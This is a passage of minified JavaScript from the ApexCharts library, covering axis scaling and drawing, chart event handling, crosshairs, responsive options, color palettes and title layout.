e.xaxis.max&&(t.maxX=e.xaxis.max),void 0!==e.xaxis.min&&"number"==typeof e.xaxis.min&&(t.minX=e.xaxis.min),void 0!==e.xaxis.range&&(t.minX=t.maxX-e.xaxis.range),t.minX!==Number.MAX_VALUE&&t.maxX!==-Number.MAX_VALUE)if(e.xaxis.convertedCatToNumeric&&!t.dataFormatXNumeric){for(var s=[],r=t.minX-1;r<t.maxX;r++)s.push(r+1);t.xAxisScale={result:s,niceMin:s[0],niceMax:s[s.length-1]}}else t.xAxisScale=this.scales.setXScale(t.minX,t.maxX);else t.xAxisScale=this.scales.linearScale(1,a,a),t.noLabelsProvided&&t.labels.length>0&&(t.xAxisScale=this.scales.linearScale(1,t.labels.length,a-1),t.seriesX=t.labels.slice());i&&(t.labels=t.xAxisScale.result.slice())}return t.isBarHorizontal&&t.labels.length&&(t.xTickAmount=t.labels.length),this._handleSingleDataPoint(),this._getMinXDiff(),{minX:t.minX,maxX:t.maxX}}},{key:"setZRange",value:function(){var t=this.w.globals;if(t.isDataXYZ)for(var e=0;e<t.series.length;e++)if(void 0!==t.seriesZ[e])for(var i=0;i<t.seriesZ[e].length;i++)null!==t.seriesZ[e][i]&&x.isNumber(t.seriesZ[e][i])&&(t.maxZ=Math.max(t.maxZ,t.seriesZ[e][i]),t.minZ=Math.min(t.minZ,t.seriesZ[e][i]))}},{key:"_handleSingleDataPoint",value:function(){var t=this.w.globals,e=this.w.config;if(t.minX===t.maxX){var i=new I(this.ctx);if("datetime"===e.xaxis.type){var a=i.getDate(t.minX);e.xaxis.labels.datetimeUTC?a.setUTCDate(a.getUTCDate()-2):a.setDate(a.getDate()-2),t.minX=new Date(a).getTime();var s=i.getDate(t.maxX);e.xaxis.labels.datetimeUTC?s.setUTCDate(s.getUTCDate()+2):s.setDate(s.getDate()+2),t.maxX=new Date(s).getTime()}else("numeric"===e.xaxis.type||"category"===e.xaxis.type&&!t.noLabelsProvided)&&(t.minX=t.minX-2,t.initialMinX=t.minX,t.maxX=t.maxX+2,t.initialMaxX=t.maxX)}}},{key:"_getMinXDiff",value:function(){var t=this.w.globals;t.isXNumeric&&t.seriesX.forEach((function(e,i){1===e.length&&e.push(t.seriesX[t.maxValsInArrayIndex][t.seriesX[t.maxValsInArrayIndex].length-1]);var a=e.slice();a.sort((function(t,e){return t-e})),a.forEach((function(e,i){if(i>0){var s=e-a[i-1];s>0&&(t.minXDiff=Math.min(s,t.minXDiff))}})),1!==t.dataPoints&&t.minXDiff!==Number.MAX_VALUE||(t.minXDiff=.5)}))}},{key:"_setStackedMinMax",value:function(){var t=this,e=this.w.globals;if(e.series.length){var i=e.seriesGroups;i.length||(i=[this.w.config.series.map((function(t){return t.name}))]);var a={},s={};i.forEach((function(i){a[i]=[],s[i]=[],t.w.config.series.map((function(t,e){return i.indexOf(t.name)>-1?e:null})).filter((function(t){return null!==t})).forEach((function(t){for(var r=0;r<e.series[e.maxValsInArrayIndex].length;r++)void 0===a[i][r]&&(a[i][r]=0,s[i][r]=0),null!==e.series[t][r]&&x.isNumber(e.series[t][r])&&(e.series[t][r]>0?a[i][r]+=parseFloat(e.series[t][r])+1e-4:s[i][r]+=parseFloat(e.series[t][r]))}))})),Object.entries(a).forEach((function(t){var i=g(t,1)[0];a[i].forEach((function(t,r){e.maxY=Math.max(e.maxY,a[i][r]),e.minY=Math.min(e.minY,s[i][r])}))}))}}}]),t}(),q=function(){function t(e,i){a(this,t),this.ctx=e,this.elgrid=i,this.w=e.w;var s=this.w;this.xaxisFontSize=s.config.xaxis.labels.style.fontSize,this.axisFontFamily=s.config.xaxis.labels.style.fontFamily,this.xaxisForeColors=s.config.xaxis.labels.style.colors,this.isCategoryBarHorizontal="bar"===s.config.chart.type&&s.config.plotOptions.bar.horizontal,this.xAxisoffX=0,"bottom"===s.config.xaxis.position&&(this.xAxisoffX=s.globals.gridHeight),this.drawnLabels=[],this.axesUtils=new B(e)}return r(t,[{key:"drawYaxis",value:function(t){var e=this,i=this.w,a=new m(this.ctx),s=i.config.yaxis[t].labels.style,r=s.fontSize,o=s.fontFamily,n=s.fontWeight,l=a.group({class:"apexcharts-yaxis",rel:t,transform:"translate("+i.globals.translateYAxisX[t]+", 0)"});if(this.axesUtils.isYAxisHidden(t))return l;var h=a.group({class:"apexcharts-yaxis-texts-g"});l.add(h);var c=i.globals.yAxisScale[t].result.length-1,d=i.globals.gridHeight/c,g=i.globals.translateY,u=i.globals.yLabelFormatters[t],p=i.globals.yAxisScale[t].result.slice();p=this.axesUtils.checkForReversedLabels(t,p);var f="";if(i.config.yaxis[t].labels.show)for(var x=function(l){var x=p[l];x=u(x,l,i);var b=i.config.yaxis[t].labels.padding;i.config.yaxis[t].opposite&&0!==i.config.yaxis.length&&(b*=-1);var v="end";i.config.yaxis[t].opposite&&(v="start"),"left"===i.config.yaxis[t].labels.align?v="start":"center"===i.config.yaxis[t].labels.align?v="middle":"right"===i.config.yaxis[t].labels.align&&(v="end");var m=e.axesUtils.getYAxisForeColor(s.colors,t),y=a.drawText({x:b,y:g+c/10+i.config.yaxis[t].labels.offsetY+1,text:x,textAnchor:v,fontSize:r,fontFamily:o,fontWeight:n,maxWidth:i.config.yaxis[t].labels.maxWidth,foreColor:Array.isArray(m)?m[l]:m,isPlainText:!1,cssClass:"apexcharts-yaxis-label "+s.cssClass});l===c&&(f=y),h.add(y);var w=document.createElementNS(i.globals.SVGNS,"title");if(w.textContent=Array.isArray(x)?x.join(" "):x,y.node.appendChild(w),0!==i.config.yaxis[t].labels.rotate){var k=a.rotateAroundCenter(f.node),A=a.rotateAroundCenter(y.node);y.node.setAttribute("transform","rotate(".concat(i.config.yaxis[t].labels.rotate," ").concat(k.x," ").concat(A.y,")"))}g+=d},b=c;b>=0;b--)x(b);if(void 0!==i.config.yaxis[t].title.text){var v=a.group({class:"apexcharts-yaxis-title"}),y=0;i.config.yaxis[t].opposite&&(y=i.globals.translateYAxisX[t]);var w=a.drawText({x:y,y:i.globals.gridHeight/2+i.globals.translateY+i.config.yaxis[t].title.offsetY,text:i.config.yaxis[t].title.text,textAnchor:"end",foreColor:i.config.yaxis[t].title.style.color,fontSize:i.config.yaxis[t].title.style.fontSize,fontWeight:i.config.yaxis[t].title.style.fontWeight,fontFamily:i.config.yaxis[t].title.style.fontFamily,cssClass:"apexcharts-yaxis-title-text "+i.config.yaxis[t].title.style.cssClass});v.add(w),l.add(v)}var k=i.config.yaxis[t].axisBorder,A=31+k.offsetX;if(i.config.yaxis[t].opposite&&(A=-31-k.offsetX),k.show){var S=a.drawLine(A,i.globals.translateY+k.offsetY-2,A,i.globals.gridHeight+i.globals.translateY+k.offsetY+2,k.color,0,k.width);l.add(S)}return i.config.yaxis[t].axisTicks.show&&this.axesUtils.drawYAxisTicks(A,c,k,i.config.yaxis[t].axisTicks,t,d,l),l}},{key:"drawYaxisInversed",value:function(t){var e=this.w,i=new m(this.ctx),a=i.group({class:"apexcharts-xaxis apexcharts-yaxis-inversed"}),s=i.group({class:"apexcharts-xaxis-texts-g",transform:"translate(".concat(e.globals.translateXAxisX,", ").concat(e.globals.translateXAxisY,")")});a.add(s);var r=e.globals.yAxisScale[t].result.length-1,o=e.globals.gridWidth/r+.1,n=o+e.config.xaxis.labels.offsetX,l=e.globals.xLabelFormatter,h=e.globals.yAxisScale[t].result.slice(),c=e.globals.timescaleLabels;c.length>0&&(this.xaxisLabels=c.slice(),r=(h=c.slice()).length),h=this.axesUtils.checkForReversedLabels(t,h);var d=c.length;if(e.config.xaxis.labels.show)for(var g=d?0:r;d?g<d:g>=0;d?g++:g--){var u=h[g];u=l(u,g,e);var p=e.globals.gridWidth+e.globals.padHorizontal-(n-o+e.config.xaxis.labels.offsetX);if(c.length){var f=this.axesUtils.getLabel(h,c,p,g,this.drawnLabels,this.xaxisFontSize);p=f.x,u=f.text,this.drawnLabels.push(f.text),0===g&&e.globals.skipFirstTimelinelabel&&(u=""),g===h.length-1&&e.globals.skipLastTimelinelabel&&(u="")}var x=i.drawText({x:p,y:this.xAxisoffX+e.config.xaxis.labels.offsetY+30-("top"===e.config.xaxis.position?e.globals.xAxisHeight+e.config.xaxis.axisTicks.height-2:0),text:u,textAnchor:"middle",foreColor:Array.isArray(this.xaxisForeColors)?this.xaxisForeColors[t]:this.xaxisForeColors,fontSize:this.xaxisFontSize,fontFamily:this.xaxisFontFamily,fontWeight:e.config.xaxis.labels.style.fontWeight,isPlainText:!1,cssClass:"apexcharts-xaxis-label "+e.config.xaxis.labels.style.cssClass});s.add(x),x.tspan(u);var b=document.createElementNS(e.globals.SVGNS,"title");b.textContent=u,x.node.appendChild(b),n+=o}return this.inversedYAxisTitleText(a),this.inversedYAxisBorder(a),a}},{key:"inversedYAxisBorder",value:function(t){var e=this.w,i=new m(this.ctx),a=e.config.xaxis.axisBorder;if(a.show){var s=0;"bar"===e.config.chart.type&&e.globals.isXNumeric&&(s-=15);var r=i.drawLine(e.globals.padHorizontal+s+a.offsetX,this.xAxisoffX,e.globals.gridWidth,this.xAxisoffX,a.color,0,a.height);this.elgrid&&this.elgrid.elGridBorders&&e.config.grid.show?this.elgrid.elGridBorders.add(r):t.add(r)}}},{key:"inversedYAxisTitleText",value:function(t){var e=this.w,i=new m(this.ctx);if(void 0!==e.config.xaxis.title.text){var a=i.group({class:"apexcharts-xaxis-title apexcharts-yaxis-title-inversed"}),s=i.drawText({x:e.globals.gridWidth/2+e.config.xaxis.title.offsetX,y:this.xAxisoffX+parseFloat(this.xaxisFontSize)+parseFloat(e.config.xaxis.title.style.fontSize)+e.config.xaxis.title.offsetY+20,text:e.config.xaxis.title.text,textAnchor:"middle",fontSize:e.config.xaxis.title.style.fontSize,fontFamily:e.config.xaxis.title.style.fontFamily,fontWeight:e.config.xaxis.title.style.fontWeight,foreColor:e.config.xaxis.title.style.color,cssClass:"apexcharts-xaxis-title-text "+e.config.xaxis.title.style.cssClass});a.add(s),t.add(a)}}},{key:"yAxisTitleRotate",value:function(t,e){var i=this.w,a=new m(this.ctx),s={width:0,height:0},r={width:0,height:0},o=i.globals.dom.baseEl.querySelector(" .apexcharts-yaxis[rel='".concat(t,"'] .apexcharts-yaxis-texts-g"));null!==o&&(s=o.getBoundingClientRect());var n=i.globals.dom.baseEl.querySelector(".apexcharts-yaxis[rel='".concat(t,"'] .apexcharts-yaxis-title text"));if(null!==n&&(r=n.getBoundingClientRect()),null!==n){var l=this.xPaddingForYAxisTitle(t,s,r,e);n.setAttribute("x",l.xPos-(e?10:0))}if(null!==n){var h=a.rotateAroundCenter(n);n.setAttribute("transform","rotate(".concat(e?-1*i.config.yaxis[t].title.rotate:i.config.yaxis[t].title.rotate," ").concat(h.x," ").concat(h.y,")"))}}},{key:"xPaddingForYAxisTitle",value:function(t,e,i,a){var s=this.w,r=0,o=0,n=10;return void 0===s.config.yaxis[t].title.text||t<0?{xPos:o,padd:0}:(a?(o=e.width+s.config.yaxis[t].title.offsetX+i.width/2+n/2,0===(r+=1)&&(o-=n/2)):(o=-1*e.width+s.config.yaxis[t].title.offsetX+n/2+i.width/2,s.globals.isBarHorizontal&&(n=25,o=-1*e.width-s.config.yaxis[t].title.offsetX-n)),{xPos:o,padd:n})}},{key:"setYAxisXPosition",value:function(t,e){var i=this.w,a=0,s=0,r=18,o=1;i.config.yaxis.length>1&&(this.multipleYs=!0),i.config.yaxis.map((function(n,l){var h=i.globals.ignoreYAxisIndexes.indexOf(l)>-1||!n.show||n.floating||0===t[l].width,c=t[l].width+e[l].width;n.opposite?i.globals.isBarHorizontal?(s=i.globals.gridWidth+i.globals.translateX-1,i.globals.translateYAxisX[l]=s-n.labels.offsetX):(s=i.globals.gridWidth+i.globals.translateX+o,h||(o=o+c+20),i.globals.translateYAxisX[l]=s-n.labels.offsetX+20):(a=i.globals.translateX-r,h||(r=r+c+20),i.globals.translateYAxisX[l]=a+n.labels.offsetX)}))}},{key:"setYAxisTextAlignments",value:function(){var t=this.w,e=t.globals.dom.baseEl.getElementsByClassName("apexcharts-yaxis");(e=x.listToArray(e)).forEach((function(e,i){var a=t.config.yaxis[i];if(a&&!a.floating&&void 0!==a.labels.align){var s=t.globals.dom.baseEl.querySelector(".apexcharts-yaxis[rel='".concat(i,"'] .apexcharts-yaxis-texts-g")),r=t.globals.dom.baseEl.querySelectorAll(".apexcharts-yaxis[rel='".concat(i,"'] .apexcharts-yaxis-label"));r=x.listToArray(r);var o=s.getBoundingClientRect();"left"===a.labels.align?(r.forEach((function(t,e){t.setAttribute("text-anchor","start")})),a.opposite||s.setAttribute("transform","translate(-".concat(o.width,", 0)"))):"center"===a.labels.align?(r.forEach((function(t,e){t.setAttribute("text-anchor","middle")})),s.setAttribute("transform","translate(".concat(o.width/2*(a.opposite?1:-1),", 0)"))):"right"===a.labels.align&&(r.forEach((function(t,e){t.setAttribute("text-anchor","end")})),a.opposite&&s.setAttribute("transform","translate(".concat(o.width,", 0)")))}}))}}]),t}(),Z=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w,this.documentEvent=x.bind(this.documentEvent,this)}return r(t,[{key:"addEventListener",value:function(t,e){var i=this.w;i.globals.events.hasOwnProperty(t)?i.globals.events[t].push(e):i.globals.events[t]=[e]}},{key:"removeEventListener",value:function(t,e){var i=this.w;if(i.globals.events.hasOwnProperty(t)){var a=i.globals.events[t].indexOf(e);-1!==a&&i.globals.events[t].splice(a,1)}}},{key:"fireEvent",value:function(t,e){var i=this.w;if(i.globals.events.hasOwnProperty(t)){e&&e.length||(e=[]);for(var a=i.globals.events[t],s=a.length,r=0;r<s;r++)a[r].apply(null,e)}}},{key:"setupEventHandlers",value:function(){var t=this,e=this.w,i=this.ctx,a=e.globals.dom.baseEl.querySelector(e.globals.chartClass);this.ctx.eventList.forEach((function(t){a.addEventListener(t,(function(t){var a=Object.assign({},e,{seriesIndex:e.globals.capturedSeriesIndex,dataPointIndex:e.globals.capturedDataPointIndex});"mousemove"===t.type||"touchmove"===t.type?"function"==typeof e.config.chart.events.mouseMove&&e.config.chart.events.mouseMove(t,i,a):"mouseleave"===t.type||"touchleave"===t.type?"function"==typeof e.config.chart.events.mouseLeave&&e.config.chart.events.mouseLeave(t,i,a):("mouseup"===t.type&&1===t.which||"touchend"===t.type)&&("function"==typeof e.config.chart.events.click&&e.config.chart.events.click(t,i,a),i.ctx.events.fireEvent("click",[t,i,a]))}),{capture:!1,passive:!0})})),this.ctx.eventList.forEach((function(i){e.globals.dom.baseEl.addEventListener(i,t.documentEvent,{passive:!0})})),this.ctx.core.setupBrushHandler()}},{key:"documentEvent",value:function(t){var e=this.w,i=t.target.className;if("click"===t.type){var a=e.globals.dom.baseEl.querySelector(".apexcharts-menu");a&&a.classList.contains("apexcharts-menu-open")&&"apexcharts-menu-icon"!==i&&a.classList.remove("apexcharts-menu-open")}e.globals.clientX="touchmove"===t.type?t.touches[0].clientX:t.clientX,e.globals.clientY="touchmove"===t.type?t.touches[0].clientY:t.clientY}}]),t}(),$=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w}return r(t,[{key:"setCurrentLocaleValues",value:function(t){var e=this.w.config.chart.locales;window.Apex.chart&&window.Apex.chart.locales&&window.Apex.chart.locales.length>0&&(e=this.w.config.chart.locales.concat(window.Apex.chart.locales));var i=e.filter((function(e){return e.name===t}))[0];if(!i)throw new Error("Wrong locale name provided. Please make sure you set the correct locale name in options");var a=x.extend(C,i);this.w.globals.locale=a.options}}]),t}(),J=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w}return r(t,[{key:"drawAxis",value:function(t,e){var i,a,s=this,r=this.w.globals,o=this.w.config,n=new V(this.ctx,e),l=new q(this.ctx,e);r.axisCharts&&"radar"!==t&&(r.isBarHorizontal?(a=l.drawYaxisInversed(0),i=n.drawXaxisInversed(0),r.dom.elGraphical.add(i),r.dom.elGraphical.add(a)):(i=n.drawXaxis(),r.dom.elGraphical.add(i),o.yaxis.map((function(t,e){if(-1===r.ignoreYAxisIndexes.indexOf(e)&&(a=l.drawYaxis(e),r.dom.Paper.add(a),"back"===s.w.config.grid.position)){var i=r.dom.Paper.children()[1];i.remove(),r.dom.Paper.add(i)}}))))}}]),t}(),Q=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w}return r(t,[{key:"drawXCrosshairs",value:function(){var t=this.w,e=new m(this.ctx),i=new v(this.ctx),a=t.config.xaxis.crosshairs.fill.gradient,s=t.config.xaxis.crosshairs.dropShadow,r=t.config.xaxis.crosshairs.fill.type,o=a.colorFrom,n=a.colorTo,l=a.opacityFrom,h=a.opacityTo,c=a.stops,d=s.enabled,g=s.left,u=s.top,p=s.blur,f=s.color,b=s.opacity,y=t.config.xaxis.crosshairs.fill.color;if(t.config.xaxis.crosshairs.show){"gradient"===r&&(y=e.drawGradient("vertical",o,n,l,h,null,c,null));var w=e.drawRect();1===t.config.xaxis.crosshairs.width&&(w=e.drawLine());var k=t.globals.gridHeight;(!x.isNumber(k)||k<0)&&(k=0);var A=t.config.xaxis.crosshairs.width;(!x.isNumber(A)||A<0)&&(A=0),w.attr({class:"apexcharts-xcrosshairs",x:0,y:0,y2:k,width:A,height:k,fill:y,filter:"none","fill-opacity":t.config.xaxis.crosshairs.opacity,stroke:t.config.xaxis.crosshairs.stroke.color,"stroke-width":t.config.xaxis.crosshairs.stroke.width,"stroke-dasharray":t.config.xaxis.crosshairs.stroke.dashArray}),d&&(w=i.dropShadow(w,{left:g,top:u,blur:p,color:f,opacity:b})),t.globals.dom.elGraphical.add(w)}}},{key:"drawYCrosshairs",value:function(){var t=this.w,e=new m(this.ctx),i=t.config.yaxis[0].crosshairs,a=t.globals.barPadForNumericAxis;if(t.config.yaxis[0].crosshairs.show){var s=e.drawLine(-a,0,t.globals.gridWidth+a,0,i.stroke.color,i.stroke.dashArray,i.stroke.width);s.attr({class:"apexcharts-ycrosshairs"}),t.globals.dom.elGraphical.add(s)}var r=e.drawLine(-a,0,t.globals.gridWidth+a,0,i.stroke.color,0,0);r.attr({class:"apexcharts-ycrosshairs-hidden"}),t.globals.dom.elGraphical.add(r)}}]),t}(),K=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w}return r(t,[{key:"checkResponsiveConfig",value:function(t){var e=this,i=this.w,a=i.config;if(0!==a.responsive.length){var s=a.responsive.slice();s.sort((function(t,e){return t.breakpoint>e.breakpoint?1:e.breakpoint>t.breakpoint?-1:0})).reverse();var r=new E({}),o=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},a=s[0].breakpoint,o=window.innerWidth>0?window.innerWidth:screen.width;if(o>a){var n=y.extendArrayProps(r,i.globals.initialConfig,i);t=x.extend(n,t),t=x.extend(i.config,t),e.overrideResponsiveOptions(t)}else for(var l=0;l<s.length;l++)o<s[l].breakpoint&&(t=y.extendArrayProps(r,s[l].options,i),t=x.extend(i.config,t),e.overrideResponsiveOptions(t))};if(t){var n=y.extendArrayProps(r,t,i);n=x.extend(i.config,n),o(n=x.extend(n,t))}else o({})}}},{key:"overrideResponsiveOptions",value:function(t){var e=new E(t).init({responsiveOverride:!0});this.w.config=e}}]),t}(),tt=function(){function t(e){a(this,t),this.ctx=e,this.colors=[],this.w=e.w;var i=this.w;this.isColorFn=!1,this.isHeatmapDistributed="treemap"===i.config.chart.type&&i.config.plotOptions.treemap.distributed||"heatmap"===i.config.chart.type&&i.config.plotOptions.heatmap.distributed,this.isBarDistributed=i.config.plotOptions.bar.distributed&&("bar"===i.config.chart.type||"rangeBar"===i.config.chart.type)}return r(t,[{key:"init",value:function(){this.setDefaultColors()}},{key:"setDefaultColors",value:function(){var t,e=this,i=this.w,a=new x;if(i.globals.dom.elWrap.classList.add("apexcharts-theme-".concat(i.config.theme.mode)),void 0===i.config.colors||0===(null===(t=i.config.colors)||void 0===t?void 0:t.length)?i.globals.colors=this.predefined():(i.globals.colors=i.config.colors,Array.isArray(i.config.colors)&&i.config.colors.length>0&&"function"==typeof i.config.colors[0]&&(i.globals.colors=i.config.series.map((function(t,a){var s=i.config.colors[a];return s||(s=i.config.colors[0]),"function"==typeof s?(e.isColorFn=!0,s({value:i.globals.axisCharts?i.globals.series[a][0]?i.globals.series[a][0]:0:i.globals.series[a],seriesIndex:a,dataPointIndex:a,w:i})):s})))),i.globals.seriesColors.map((function(t,e){t&&(i.globals.colors[e]=t)})),i.config.theme.monochrome.enabled){var s=[],r=i.globals.series.length;(this.isBarDistributed||this.isHeatmapDistributed)&&(r=i.globals.series[0].length*i.globals.series.length);for(var o=i.config.theme.monochrome.color,n=1/(r/i.config.theme.monochrome.shadeIntensity),l=i.config.theme.monochrome.shadeTo,h=0,c=0;c<r;c++){var d=void 0;"dark"===l?(d=a.shadeColor(-1*h,o),h+=n):(d=a.shadeColor(h,o),h+=n),s.push(d)}i.globals.colors=s.slice()}var g=i.globals.colors.slice();this.pushExtraColors(i.globals.colors);["fill","stroke"].forEach((function(t){void 0===i.config[t].colors?i.globals[t].colors=e.isColorFn?i.config.colors:g:i.globals[t].colors=i.config[t].colors.slice(),e.pushExtraColors(i.globals[t].colors)})),void 0===i.config.dataLabels.style.colors?i.globals.dataLabels.style.colors=g:i.globals.dataLabels.style.colors=i.config.dataLabels.style.colors.slice(),this.pushExtraColors(i.globals.dataLabels.style.colors,50),void 0===i.config.plotOptions.radar.polygons.fill.colors?i.globals.radarPolygons.fill.colors=["dark"===i.config.theme.mode?"#424242":"none"]:i.globals.radarPolygons.fill.colors=i.config.plotOptions.radar.polygons.fill.colors.slice(),this.pushExtraColors(i.globals.radarPolygons.fill.colors,20),void 0===i.config.markers.colors?i.globals.markers.colors=g:i.globals.markers.colors=i.config.markers.colors.slice(),this.pushExtraColors(i.globals.markers.colors)}},{key:"pushExtraColors",value:function(t,e){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null,a=this.w,s=e||a.globals.series.length;if(null===i&&(i=this.isBarDistributed||this.isHeatmapDistributed||"heatmap"===a.config.chart.type&&a.config.plotOptions.heatmap.colorScale.inverse),i&&a.globals.series.length&&(s=a.globals.series[a.globals.maxValsInArrayIndex].length*a.globals.series.length),t.length<s)for(var r=s-t.length,o=0;o<r;o++)t.push(t[o])}},{key:"updateThemeOptions",value:function(t){t.chart=t.chart||{},t.tooltip=t.tooltip||{};var e=t.theme.mode||"light",i=t.theme.palette?t.theme.palette:"dark"===e?"palette4":"palette1",a=t.chart.foreColor?t.chart.foreColor:"dark"===e?"#f6f7f8":"#373d3f";return t.tooltip.theme=e,t.chart.foreColor=a,t.theme.palette=i,t}},{key:"predefined",value:function(){switch(this.w.config.theme.palette){case"palette1":default:this.colors=["#008FFB","#00E396","#FEB019","#FF4560","#775DD0"];break;case"palette2":this.colors=["#3f51b5","#03a9f4","#4caf50","#f9ce1d","#FF9800"];break;case"palette3":this.colors=["#33b2df","#546E7A","#d4526e","#13d8aa","#A5978B"];break;case"palette4":this.colors=["#4ecdc4","#c7f464","#81D4FA","#fd6a6a","#546E7A"];break;case"palette5":this.colors=["#2b908f","#f9a3a4","#90ee7e","#fa4443","#69d2e7"];break;case"palette6":this.colors=["#449DD1","#F86624","#EA3546","#662E9B","#C5D86D"];break;case"palette7":this.colors=["#D7263D","#1B998B","#2E294E","#F46036","#E2C044"];break;case"palette8":this.colors=["#662E9B","#F86624","#F9C80E","#EA3546","#43BCCD"];break;case"palette9":this.colors=["#5C4742","#A5978B","#8D5B4C","#5A2A27","#C4BBAF"];break;case"palette10":this.colors=["#A300D6","#7D02EB","#5653FE","#2983FF","#00B1F2"]}return this.colors}}]),t}(),et=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w}return r(t,[{key:"draw",value:function(){this.drawTitleSubtitle("title"),this.drawTitleSubtitle("subtitle")}},{key:"drawTitleSubtitle",value:function(t){var e=this.w,i="title"===t?e.config.title:e.config.subtitle,a=e.globals.svgWidth/2,s=i.offsetY,r="middle";if("left"===i.align?(a=10,r="start"):"right"===i.align&&(a=e.globals.svgWidth-10,r="end"),a+=i.offsetX,s=s+parseInt(i.style.fontSize,10)+i.margin/2,void 0!==i.text){var o=new m(this.ctx).drawText({x:a,y:s,text:i.text,textAnchor:r,fontSize:i.style.fontSize,fontFamily:i.style.fontFamily,fontWeight:i.style.fontWeight,foreColor:i.style.color,opacity:1});o.node.setAttribute("class","apexcharts-".concat(t,"-text")),e.globals.dom.Paper.add(o)}}}]),t}(),it=function(){function t(e){a(this,t),this.w=e.w,this.dCtx=e}return r(t,[{key:"getTitleSubtitleCoords",value:function(t){var e=this.w,i=0,a=0,s="title"===t?e.config.title.floating:e.config.subtitle.floating,r=e.globals.dom.baseEl.querySelector(".apexcharts-".concat(t,"-text"));if(null!==r&&!s){var o=r.getBoundingClientRect();i=o.width,a=e.globals.axisCharts?o.height+5:o.height}return{width:i,height:a}}},{key:"getLegendsRect",value:function(){var t=this.w,e=t.globals.dom.elLegendWrap;t.config.legend.height||"top"!==t.config.legend.position&&"bottom"!==t.config.legend.position||(e.style.maxHeight=t.globals.svgHeight/2+"px");var i=Object.assign({},x.getBoundingClientRect(e));return null!==e&&!t.config.legend.floating&&t.config.legend.show?this.dCtx.lgRect={x:i.x,y:i.y,height:i.height,width:0===i.height?0:i.width}:this.dCtx.lgRect={x:0,y:0,height:0,width:0},"left"!==t.config.legend.position&&"right"!==t.config.legend.position||1.5*this.dCtx.lgRect.width>t.globals.svgWidth&&(this.dCtx.lgRect.width=t.globals.svgWidth/1.5),this.dCtx.lgRect}},{key:"getLargestStringFromMultiArr",value:function(t,e){var i=t;if(this.w.globals.isMultiLineX){var a=e.map((function(t,e){return Array.isArray(t)?t.length:1})),s=Math.max.apply(Math,u(a));i=e[a.indexOf(s)]}return i}}]),t}(),at=function(){function t(e){a(this,t),this.w=e.w,this.dCtx=e}return r(t,[{key:"getxAxisLabelsCoords",value:function(){var t,e=this.w,i=e.globals.labels.slice();if(e.config.xaxis.convertedCatToNumeric&&0===i.length&&(i=e.globals.categoryLabels),e.globals.timescaleLabels.length>0){var a=this.getxAxisTimeScaleLabelsCoords();t={width:a.width,height:a.height},e.globals.rotateXLabels=!1}else{this.dCtx.lgWidthForSideLegends="left"!==e.config.legend.position&&"right"!==e.config.legend.position||e.config.legend.floating?0:this.dCtx.lgRect.width;var s=e.globals.xLabelFormatter,r=x.getLargestStringFromArr(i),o=this.dCtx.dimHelpers.getLargestStringFromMultiArr(r,i);e.globals.isBarHorizontal&&(o=r=e.globals.yAxisScale[0].result.reduce((function(t,e){return t.length>e.length?t:e}),0));var n=new T(this.dCtx.ctx),l=r;r=n.xLabelFormat(s,r,l,{i:void 0,dateFormatter:new I(this.dCtx.ctx).formatDate,w:e}),o=n.xLabelFormat(s,o,l,{i:void 0,dateFormatter:new I(this.dCtx.ctx).formatDate,w:e}),(e.config.xaxis.convertedCatToNumeric&&void 0===r||""===String(r).trim())&&(o=r="1");var h=new m(this.dCtx.ctx),c=h.getTextRects(r,e.config.xaxis.labels.style.fontSize),d=c;if(r!==o&&(d=h.getTextRects(o,e.config.xaxis.labels.style.fontSize)),(t={width:c.width>=d.width?c.width:d.width,height:c.height>=d.height?c.height:d.height}).width*i.length>e.globals.svgWidth-this.dCtx.lgWidthForSideLegends-this.dCtx.yAxisWidth-this.dCtx.gridPad.left-this.dCtx.gridPad.right&&0!==e.config.xaxis.labels.rotate||e.config.xaxis.labels.rotateAlways){if(!e.globals.isBarHorizontal){e.globals.rotateXLabels=!0;var g=function(t){return h.getTextRects(t,e.config.xaxis.labels.style.fontSize,e.config.xaxis.labels.style.fontFamily,"rotate(".concat(e.config.xaxis.labels.rotate," 0 0)"),!1)};c=g(r),r!==o&&(d=g(o)),t.height=(c.height>d.height?c.height:d.height)/1.5,t.width=c.width>d.width?c.width:d.width}}else e.globals.rotateXLabels=!1}return e.config.xaxis.labels.show||(t={width:0,height:0}),{width:t.width,height:t.height}}},{key:"getxAxisGroupLabelsCoords",value:function(){var t,e=this.w;if(!e.globals.hasXaxisGroups)return{width:0,height:0};var i,a=(null===(t=e.config.xaxis.group.style)||void 0===t?void 0:t.fontSize)||e.config.xaxis.labels.style.fontSize,s=e.globals.groups.map((function(t){return t.title})),r=x.getLargestStringFromArr(s),o=this.dCtx.dimHelpers.getLargestStringFromMultiArr(r,s),n=new m(this.dCtx.ctx),l=n.getTextRects(r,a),h=l;return r!==o&&(h=n.getTextRects(o,a)),i={width:l.width>=h.width?l.width:h.width,height:l.height>=h.height?l.height:h.height},e.config.xaxis.labels.show||(i={width:0,height:0}),{width:i.width,height:i.height}}},{key:"getxAxisTitleCoords",value:function(){var t=this.w,e=0,i=0;if(void 0!==t.config.xaxis.title.text){var a=new m(this.dCtx.ctx).getTextRects(t.config.xaxis.title.text,t.config.xaxis.title.style.fontSize);e=a.width,i=a.height}return{width:e,height:i}}},{key:"getxAxisTimeScaleLabelsCoords",value:function(){var t,e=this.w;this.dCtx.timescaleLabels=e.globals.timescaleLabels.slice();var i=this.dCtx.timescaleLabels.map((function(t){return t.value})),a=i.reduce((function(t,e){return void 0===t?(console.error("You have possibly supplied invalid Date format. Please supply a valid JavaScript Date"),0):t.length>e.length?t:e}),0);return 1.05*(t=new m(this.dCtx.ctx).getTextRects(a,e.config.xaxis.labels.style.fontSize)).width*i.length>e.globals.gridWidth&&0!==e.config.xaxis.labels.rotate&&(e.globals.overlappingXLabels=!0),t}},{key:"additionalPaddingXLabels",value:function(t){var e=this,i=this.w,a=i.globals,s=i.config,r=s.xaxis.type,o=t.width;a.skipLastTimelinelabel=!1,a.skipFirstTimelinelabel=!1;var 